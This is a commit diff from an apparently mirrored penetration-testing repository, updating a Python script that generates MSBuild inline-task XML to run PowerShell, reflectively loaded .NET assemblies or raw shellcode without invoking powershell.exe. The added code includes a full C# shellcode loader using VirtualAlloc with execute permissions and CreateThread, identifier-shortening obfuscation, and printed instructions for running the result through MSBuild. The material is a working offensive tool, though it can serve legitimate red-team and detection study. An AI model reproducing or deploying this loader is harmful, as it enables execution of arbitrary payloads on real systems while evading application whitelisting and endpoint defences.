mirror of
				https://github.com/mgeeky/Penetration-Testing-Tools.git
				synced 2025-11-04 04:55:26 +01:00 
			
		
		
		
	Updated generateMSBuildXML.py
This commit is contained in:
		@@ -149,12 +149,18 @@ Loaded $UserHunterShowAll results.
 | 
			
		||||
 | 
			
		||||
- **`Get-UserPasswordEntries.ps1`** - a simple script for finding and decoding `userPassword` properties stored by some legacy SAMBA/linux kerberos implementations.
 | 
			
		||||
 | 
			
		||||
- **`generateMSBuildPowershellXML.py`** - Powershell via MSBuild inline-task XML payload generation script - To be used during Red-Team assignments to launch Powershell payloads without using `powershell.exe` ([gist](https://gist.github.com/mgeeky/df9f313cfe468e56c59268b958319bcb))
 | 
			
		||||
- **`generateMSBuildXML.py`** - Powershell via MSBuild inline-task XML payload generation script - To be used during Red-Team assignments to launch Powershell payloads without using `powershell.exe` ([gist](https://gist.github.com/mgeeky/df9f313cfe468e56c59268b958319bcb))
 | 
			
		||||
 | 
			
		||||
This script can embed following data within constructed CSharp Task:
 | 
			
		||||
   - Powershell code
 | 
			
		||||
   - raw Shellcode to executed in a separate thread via CreateThread
 | 
			
		||||
   - .NET Assembly reflectively loaded via Assembly.Load
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
    Example output **not minimized**:
 | 
			
		||||
    
 | 
			
		||||
```
 | 
			
		||||
C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py     Show-Msgbox.ps1
 | 
			
		||||
C:\Users\IEUser\Desktop\files\video>python generateMSBuildXML.py     Show-Msgbox.ps1
 | 
			
		||||
 | 
			
		||||
        :: Powershell via MSBuild inline-task XML payload generation script
 | 
			
		||||
        To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
 | 
			
		||||
@@ -166,7 +172,7 @@ C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py     S
 | 
			
		||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 | 
			
		||||
 | 
			
		||||
  <!--  Based on Casey Smith work, Twitter: @subTee                              -->
 | 
			
		||||
  <!--  Automatically generated using `generateMSBuildPowershellXML.py` utility  -->
 | 
			
		||||
  <!--  Automatically generated using `generateMSBuildXML.py` utility  -->
 | 
			
		||||
  <!--  by Mariusz B. / mgeeky <mb@binary-offensive.com>                         -->
 | 
			
		||||
 | 
			
		||||
  <Target Name="btLDoraXcZV">
 | 
			
		||||
@@ -211,7 +217,7 @@ C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py     S
 | 
			
		||||
**minimized**
 | 
			
		||||
    
 | 
			
		||||
```
 | 
			
		||||
C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1 -m                     
 | 
			
		||||
C:\Users\IEUser\Desktop\files\video>python generateMSBuildXML.py Show-Msgbox.ps1 -m                     
 | 
			
		||||
                                                                                                                  
 | 
			
		||||
        :: Powershell via MSBuild inline-task XML payload generation script                                       
 | 
			
		||||
        To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'       
 | 
			
		||||
 
 | 
			
		||||
@@ -2,15 +2,21 @@
 | 
			
		||||
#
 | 
			
		||||
# Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or
 | 
			
		||||
# .NET/CLR assembly EXE file into inline-task XML file that can be further launched by:
 | 
			
		||||
#   %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
 | 
			
		||||
#
 | 
			
		||||
# Requirements:
 | 
			
		||||
#   - pefile
 | 
			
		||||
#   %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
 | 
			
		||||
# or
 | 
			
		||||
#   %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
 | 
			
		||||
#
 | 
			
		||||
# This script can embed following data within constructed CSharp Task:
 | 
			
		||||
#   - Powershell code
 | 
			
		||||
#   - raw Shellcode in a separate thread via CreateThread
 | 
			
		||||
#   - .NET Assembly via Assembly.Load
 | 
			
		||||
#
 | 
			
		||||
# Mariusz B. / mgeeky, <mb@binary-offensive.com>
 | 
			
		||||
#
 | 
			
		||||
 | 
			
		||||
import re
 | 
			
		||||
import os
 | 
			
		||||
import io
 | 
			
		||||
import sys
 | 
			
		||||
import gzip
 | 
			
		||||
@@ -18,14 +24,9 @@ import base64
 | 
			
		||||
import string
 | 
			
		||||
import struct
 | 
			
		||||
import random
 | 
			
		||||
import binascii
 | 
			
		||||
import argparse
 | 
			
		||||
 | 
			
		||||
try:
 | 
			
		||||
    import pefile
 | 
			
		||||
except ImportError:
 | 
			
		||||
    print('Missing requirement: "pefile". Install it using: pip install pefile')
 | 
			
		||||
    sys.exit(-1)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def getCompressedPayload(filePath):
 | 
			
		||||
    out = io.BytesIO()
 | 
			
		||||
@@ -43,11 +44,116 @@ def getCompressedPayload(filePath):
 | 
			
		||||
    )
 | 
			
		||||
    return powershell
 | 
			
		||||
 | 
			
		||||
def getInlineTask(payload, exeFile):
 | 
			
		||||
def getInlineTask(payload, _format):
 | 
			
		||||
 | 
			
		||||
    templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
 | 
			
		||||
    taskName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
 | 
			
		||||
 | 
			
		||||
    powershellLaunchCode = string.Template('''<Task>
 | 
			
		||||
    launchCode = ''
 | 
			
		||||
 | 
			
		||||
    if _format == 'exe':
 | 
			
		||||
 | 
			
		||||
        exeLaunchCode = string.Template('''<ParameterGroup/>
 | 
			
		||||
    <Task>
 | 
			
		||||
      <Using Namespace="System" />
 | 
			
		||||
      <Using Namespace="System.Reflection" />
 | 
			
		||||
      
 | 
			
		||||
      <Code Type="Fragment" Language="cs">
 | 
			
		||||
        <![CDATA[
 | 
			
		||||
                    string payload = "$payload2";
 | 
			
		||||
                    byte[] decoded = System.Convert.FromBase64String(payload);
 | 
			
		||||
 | 
			
		||||
                    Assembly asm = Assembly.Load(decoded);
 | 
			
		||||
                    MethodInfo method = asm.EntryPoint;
 | 
			
		||||
                    object instance = asm.CreateInstance(method.Name);
 | 
			
		||||
                    method.Invoke(instance, null); 
 | 
			
		||||
        ]]>
 | 
			
		||||
      </Code>''').safe_substitute(
 | 
			
		||||
            payload2 = base64.b64encode(payload.encode()).decode()
 | 
			
		||||
        )
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
        launchCode = exeLaunchCode
 | 
			
		||||
 | 
			
		||||
    elif _format == 'raw':
 | 
			
		||||
 | 
			
		||||
        foo = str(binascii.hexlify(payload), 'ascii')
 | 
			
		||||
        fooarr = ['0x{}'.format(foo[i:i+2]) for i in range(0, len(foo), 2)]
 | 
			
		||||
        encodedPayload = '                        '
 | 
			
		||||
 | 
			
		||||
        for i in range(len(fooarr)):
 | 
			
		||||
            if i % 32 == 0 and i > 0:
 | 
			
		||||
                encodedPayload += '\n                        '
 | 
			
		||||
            encodedPayload += '{}, '.format(fooarr[i])
 | 
			
		||||
 | 
			
		||||
        encodedPayload = encodedPayload.strip()[:-1]
 | 
			
		||||
 | 
			
		||||
        shellcodeLoader = string.Template('''<Task>
 | 
			
		||||
    <Reference Include="System.Management.Automation" />
 | 
			
		||||
      <Code Type="Class" Language="cs">
 | 
			
		||||
        <![CDATA[       
 | 
			
		||||
            using System.Management.Automation;
 | 
			
		||||
            using System.Management.Automation.Runspaces;
 | 
			
		||||
            using Microsoft.Build.Framework;
 | 
			
		||||
            using Microsoft.Build.Utilities;
 | 
			
		||||
            using System;
 | 
			
		||||
            using System.Diagnostics;
 | 
			
		||||
            using System.Reflection;
 | 
			
		||||
            using System.Runtime.InteropServices;
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
            public class $templateName : Task {
 | 
			
		||||
 | 
			
		||||
                [DllImport("kernel32")]
 | 
			
		||||
                private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, UInt32 flAllocationType, UInt32 flProtect);
 | 
			
		||||
 | 
			
		||||
                [DllImport("kernel32")]
 | 
			
		||||
                private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);
 | 
			
		||||
 | 
			
		||||
                [DllImport("kernel32")]
 | 
			
		||||
                private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId );
 | 
			
		||||
 | 
			
		||||
                [DllImport("kernel32")]
 | 
			
		||||
                private static extern bool CloseHandle(IntPtr hHandle);
 | 
			
		||||
 | 
			
		||||
                [DllImport("kernel32")]
 | 
			
		||||
                private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds );
 | 
			
		||||
 | 
			
		||||
                private static UInt32 MEM_COMMIT = 0x1000;
 | 
			
		||||
                private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
 | 
			
		||||
                private static UInt32 MEM_RELEASE = 0x8000;
 | 
			
		||||
 | 
			
		||||
                public override bool Execute() {
 | 
			
		||||
 | 
			
		||||
                    byte[] payload = new byte[$payloadSize] {
 | 
			
		||||
                        $payload2
 | 
			
		||||
                    };
 | 
			
		||||
 | 
			
		||||
                    IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 | 
			
		||||
                    Marshal.Copy(payload, 0, funcAddr, payload.Length);
 | 
			
		||||
                    IntPtr hThread = IntPtr.Zero;
 | 
			
		||||
                    UInt32 threadId = 0;
 | 
			
		||||
 | 
			
		||||
                    hThread = CreateThread(0, 0, funcAddr, IntPtr.Zero, 0, ref threadId);
 | 
			
		||||
                    WaitForSingleObject(hThread, 0xFFFFFFFF);
 | 
			
		||||
 | 
			
		||||
                    CloseHandle(hThread);
 | 
			
		||||
                    VirtualFree(funcAddr, 0, MEM_RELEASE);
 | 
			
		||||
 | 
			
		||||
                    return true;
 | 
			
		||||
                }                                
 | 
			
		||||
            }           
 | 
			
		||||
        ]]>
 | 
			
		||||
      </Code>''').safe_substitute(
 | 
			
		||||
        templateName = templateName,
 | 
			
		||||
        payload2 = encodedPayload,
 | 
			
		||||
        payloadSize = len(payload)
 | 
			
		||||
    )
 | 
			
		||||
 | 
			
		||||
        launchCode = shellcodeLoader
 | 
			
		||||
 | 
			
		||||
    else:
 | 
			
		||||
        powershellLaunchCode = string.Template('''<Task>
 | 
			
		||||
    <Reference Include="System.Management.Automation" />
 | 
			
		||||
      <Code Type="Class" Language="cs">
 | 
			
		||||
        <![CDATA[       
 | 
			
		||||
@@ -75,36 +181,18 @@ def getInlineTask(payload, exeFile):
 | 
			
		||||
            }           
 | 
			
		||||
        ]]>
 | 
			
		||||
      </Code>''').safe_substitute(
 | 
			
		||||
        templateName = templateName,
 | 
			
		||||
        payload2 = base64.b64encode(payload.encode()).decode()
 | 
			
		||||
    )
 | 
			
		||||
            templateName = templateName,
 | 
			
		||||
            payload2 = base64.b64encode(payload.encode()).decode()
 | 
			
		||||
        )
 | 
			
		||||
 | 
			
		||||
    exeLaunchCode = string.Template('''<ParameterGroup/>
 | 
			
		||||
    <Task>
 | 
			
		||||
      <Using Namespace="System" />
 | 
			
		||||
      <Using Namespace="System.Reflection" />
 | 
			
		||||
      
 | 
			
		||||
      <Code Type="Fragment" Language="cs">
 | 
			
		||||
        <![CDATA[
 | 
			
		||||
                    string payload = "$payload2";
 | 
			
		||||
                    byte[] decoded = System.Convert.FromBase64String(payload);
 | 
			
		||||
        launchCode = powershellLaunchCode
 | 
			
		||||
 | 
			
		||||
                    Assembly asm = Assembly.Load(decoded);
 | 
			
		||||
                    MethodInfo method = asm.EntryPoint;
 | 
			
		||||
                    object instance = asm.CreateInstance(method.Name);
 | 
			
		||||
                    method.Invoke(instance, null); 
 | 
			
		||||
        ]]>
 | 
			
		||||
      </Code>''').safe_substitute(
 | 
			
		||||
        payload2 = base64.b64encode(payload.encode()).decode()
 | 
			
		||||
    )
 | 
			
		||||
 | 
			
		||||
    launchCode = exeLaunchCode if exeFile else powershellLaunchCode
 | 
			
		||||
 | 
			
		||||
    template = string.Template('''<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 | 
			
		||||
 | 
			
		||||
  <!--  Based on Casey Smith work, Twitter: @subTee                              -->
 | 
			
		||||
  <!--  Automatically generated using `generateMSBuildPowershellXML.py` utility  -->
 | 
			
		||||
  <!--  by Mariusz B. / mgeeky <mb@binary-offensive.com>                         -->
 | 
			
		||||
  <!--  Based on Casey Smith work, Twitter: @subTee                      -->
 | 
			
		||||
  <!--  Automatically generated using `generateMSBuildXML.py` utility    -->
 | 
			
		||||
  <!--  by Mariusz B. / mgeeky <mb@binary-offensive.com>                 -->
 | 
			
		||||
 | 
			
		||||
  <Target Name="$taskName">
 | 
			
		||||
    <$templateName />
 | 
			
		||||
@@ -141,24 +229,7 @@ def detectFileIsExe(filePath, forced = False):
 | 
			
		||||
 | 
			
		||||
    #if not dosStub in printables:
 | 
			
		||||
    #    return False
 | 
			
		||||
 | 
			
		||||
    try:
 | 
			
		||||
        pe = pefile.PE(filePath)
 | 
			
		||||
        cli = pe.OPTIONAL_HEADER.DATA_DIRECTORY[14]
 | 
			
		||||
 | 
			
		||||
        if not (cli.VirtualAddress != 0 and cli.Size != 0):
 | 
			
		||||
            sys.stderr.write('[!] Specified input file is not a .NET Assembly / CLR executable file!\n')
 | 
			
		||||
            if forced:
 | 
			
		||||
                sys.exit(-1)
 | 
			
		||||
            raise Exception()
 | 
			
		||||
        else:
 | 
			
		||||
            sys.stderr.write('[+] Specified EXE file seems to be .NET Assembly / CLR compatible.\n')
 | 
			
		||||
 | 
			
		||||
        return True
 | 
			
		||||
    except:
 | 
			
		||||
        pass
 | 
			
		||||
 | 
			
		||||
    return False
 | 
			
		||||
    return True
 | 
			
		||||
 | 
			
		||||
def minimize(output):
 | 
			
		||||
    output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output)
 | 
			
		||||
@@ -174,7 +245,26 @@ def minimize(output):
 | 
			
		||||
        'instance' : 'o',
 | 
			
		||||
        'pipeline' : 'p',
 | 
			
		||||
        'runspace' : 'r',
 | 
			
		||||
        'decoded' : 'd'
 | 
			
		||||
        'decoded' : 'd',
 | 
			
		||||
        'MEM_COMMIT' : 'c1',
 | 
			
		||||
        'PAGE_EXECUTE_READWRITE' : 'c2',
 | 
			
		||||
        'MEM_RELEASE' : 'c3',
 | 
			
		||||
        'funcAddr' : 'v1',
 | 
			
		||||
        'hThread' : 'v2',
 | 
			
		||||
        'threadId' : 'v3',
 | 
			
		||||
        'lpAddress' : 'p1',
 | 
			
		||||
        'dwSize' : 'p2',
 | 
			
		||||
        'flAllocationType' : 'p3',
 | 
			
		||||
        'flProtect' : 'p4',
 | 
			
		||||
        'dwFreeType' : 'p5',
 | 
			
		||||
        'lpThreadAttributes' : 'p6',
 | 
			
		||||
        'dwStackSize' : 'p7',
 | 
			
		||||
        'lpStartAddress' : 'p8',
 | 
			
		||||
        'param' : 'p9',
 | 
			
		||||
        'dwCreationFlags' : 'p10',
 | 
			
		||||
        'lpThreadId' : 'p11',
 | 
			
		||||
        'dwMilliseconds' : 'p12',
 | 
			
		||||
        'hHandle' : 'p13',
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    for k, v in variables.items():
 | 
			
		||||
@@ -187,10 +277,15 @@ def opts(argv):
 | 
			
		||||
    parser.add_argument('inputFile', help = 'Input file to be encoded within XML. May be either Powershell script or PE/EXE file.')
 | 
			
		||||
    parser.add_argument('-m', '--minimize', action='store_true', help = 'Minimize the output XML file.')
 | 
			
		||||
    parser.add_argument('-b', '--encode', action='store_true', help = 'Base64 encode output XML file.')
 | 
			
		||||
    parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE (optional, if not used - the script will try to sense that). WARNING: Launching EXE is possibly ONLY WITH MONO/.NET IL/Assembly EXE file, not an ordinary native PE/EXE!')
 | 
			
		||||
    parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!')
 | 
			
		||||
    parser.add_argument('-r', '--raw', action='store_true', help = 'Specified input file is a raw Shellcode to be injected in self process in a separate Thread.')
 | 
			
		||||
 | 
			
		||||
    args = parser.parse_args()
 | 
			
		||||
 | 
			
		||||
    if args.exe and args.raw:
 | 
			
		||||
        sys.stderr.write('[!] --exe and --raw options are mutually exclusive!\n')
 | 
			
		||||
        sys.exit(-1)
 | 
			
		||||
 | 
			
		||||
    return args
 | 
			
		||||
 | 
			
		||||
def main(argv):
 | 
			
		||||
@@ -206,12 +301,24 @@ def main(argv):
 | 
			
		||||
 | 
			
		||||
    args = opts(argv)
 | 
			
		||||
 | 
			
		||||
    isItExeFile = args.exe or detectFileIsExe(args.inputFile, args.exe)
 | 
			
		||||
    _format = 'powershell'
 | 
			
		||||
 | 
			
		||||
    if isItExeFile:
 | 
			
		||||
    if args.exe:
 | 
			
		||||
        if not detectFileIsExe(args.inputFile, args.exe):
 | 
			
		||||
            sys.stderr.write('[?] File not recognized as PE/EXE.\n\n')
 | 
			
		||||
            return False
 | 
			
		||||
 | 
			
		||||
        _format = 'exe'
 | 
			
		||||
        sys.stderr.write('[?] File recognized as PE/EXE.\n\n')
 | 
			
		||||
        with open(args.inputFile, 'rb') as f:
 | 
			
		||||
            payload = f.read()
 | 
			
		||||
 | 
			
		||||
    elif args.raw:
 | 
			
		||||
        _format = 'raw'
 | 
			
		||||
        sys.stderr.write('[?] File specified as raw Shellcode.\n\n')
 | 
			
		||||
        with open(args.inputFile, 'rb') as f:
 | 
			
		||||
            payload = f.read()
 | 
			
		||||
 | 
			
		||||
    else:
 | 
			
		||||
        sys.stderr.write('[?] File not recognized as PE/EXE.\n\n')
 | 
			
		||||
 | 
			
		||||
@@ -220,7 +327,7 @@ def main(argv):
 | 
			
		||||
            
 | 
			
		||||
        payload = getCompressedPayload(args.inputFile)
 | 
			
		||||
 | 
			
		||||
    output = getInlineTask(payload, isItExeFile)
 | 
			
		||||
    output = getInlineTask(payload, _format)
 | 
			
		||||
 | 
			
		||||
    if args.minimize:
 | 
			
		||||
        output = minimize(output)
 | 
			
		||||
@@ -230,5 +337,18 @@ def main(argv):
 | 
			
		||||
    else:
 | 
			
		||||
        print(output)
 | 
			
		||||
 | 
			
		||||
    msbuildPath = r'%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe'
 | 
			
		||||
    if 'PROGRAMFILES(X86)' in os.environ:
 | 
			
		||||
        msbuildPath = r'%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe'
 | 
			
		||||
 | 
			
		||||
    sys.stderr.write('''
 | 
			
		||||
 | 
			
		||||
=====================================
 | 
			
		||||
 | 
			
		||||
Execute this XML file like so:
 | 
			
		||||
 | 
			
		||||
{} file.xml
 | 
			
		||||
    '''.format(msbuildPath))
 | 
			
		||||
 | 
			
		||||
if __name__ == '__main__':
 | 
			
		||||
    main(sys.argv)
 | 
			
		||||
		Reference in New Issue
	
	Block a user